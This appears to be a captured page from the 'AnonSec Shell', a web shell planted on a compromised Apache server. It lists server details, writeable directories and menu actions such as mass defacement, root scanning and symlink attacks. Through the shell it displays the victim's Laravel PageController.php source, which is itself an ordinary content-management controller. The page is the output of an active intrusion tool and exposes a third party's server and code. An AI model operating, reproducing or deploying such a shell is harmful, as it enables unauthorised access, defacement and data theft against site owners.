AnonSec Shell
Server IP : 172.67.168.138  /  Your IP : 216.73.216.227   [ Reverse IP ]
Web Server : Apache
System : Linux frog 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web13 ( 5017)
PHP Version : 8.3.31
Disable Function : NONE
Domains : 41 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/clients/client12/web13/web/ahelos/app/Http/Controllers/Backend/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/clients/client12/web13/web/ahelos/app/Http/Controllers/Backend/PageController.php
<?php

namespace App\Http\Controllers\Backend;

use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use App\Models\Language;
use App\Models\Page;
use App\Models\PageTranslation;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Support\Str;
use Slugify;
use Auth;
use Spatie\Permission\Models\Role;


class PageController extends Controller
{
    /**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */

     public function __construct()
     {
       $this->middleware('permission:pages.add', ['only' => 'create']);
       $this->middleware('permission:pages.index', ['only' => 'index']);
       $this->middleware('permission:pages.edit', ['only' => 'edit']);
     }


    public function index()
    {
        $pages = Page::latest()->withWhereHas('translation',
          fn($query) => $query->select('*')->where('language', '=', 'bg')
        )->select('*')->get();

        return view('layouts.backend.pages.index', compact('pages'));
    }

    /**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function create()
    {
      $languages = Language::where('status', 1)->get();

      return view('layouts.backend.pages.add', compact('languages'));
    }

    /**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    public function store(Request $request)
    {
      $request->validate([
        'language.*.title' => 'required',
        'language.*.text' => 'required'
      ],
      [
        'required' => 'Задължително поле.'
      ]);

      $data = array(
        'status'    => $request->input('status'),
        'show'    => $request->input('show')
      );

      $page = Page::create($data);

      $data_translation = $request->input('language');

      foreach($request->input('language') as $key => $language){
        $data_translation[$key]['slug'] = Slugify::slugify($language['title'], '-');
      }

      $page->translations()->createMany($data_translation);

      return redirect()->back()->with('success', 'Записът е добавен успешно.');
    }

    /**
     * Display the specified resource.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function show($id)
    {

    }

    /**
     * Show the form for editing the specified resource.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function edit($id)
    {
      $languages = Language::where('status', 1)->get();
      $page = Page::with('translations')->where('id', $id)->first();

      return view('layouts.backend.pages.edit', compact('languages', 'page'));
    }

    /**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function update(Request $request, $id)
    {
      $request->validate([
        'language.*.title' => 'required',
        'language.*.text' => 'required'
      ],
      [
        'required' => 'Задължително поле.'
      ]);

      $data = array(
        'status'    => $request->input('status'),
        'show'    => $request->input('show')
      );

      $page = Page::findOrFail($id);
      $page->update($data);

      foreach ($request->input('language') as $key => $language) {
        $data_translation['title'] = $language['title'];
        $data_translation['slug'] = Slugify::slugify($language['title'], '-');
        $data_translation['text'] = $language['text'];
        $data_translation['meta_title'] = $language['meta_title'];
        $data_translation['meta_description'] = $language['meta_description'];

        $page->translation()->updateOrCreate([
          'language' => $language['language'],
        ],
        $data_translation
        );

        // PageTranslation::where('page_id', $id)->where('language', $language['language'])->first()->update($data_translation);
      }

      return redirect()->back()->with('success', 'Записът е обновен успешно.');
    }

    /**
     * Remove the specified resource from storage.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function destroy($id)
    {
        Page::findOrFail($id)->delete();
        return redirect()->back()->with('danger', 'Записът е изтрит успешно!');
    }
}

Anon7 - 2022
AnonSec Team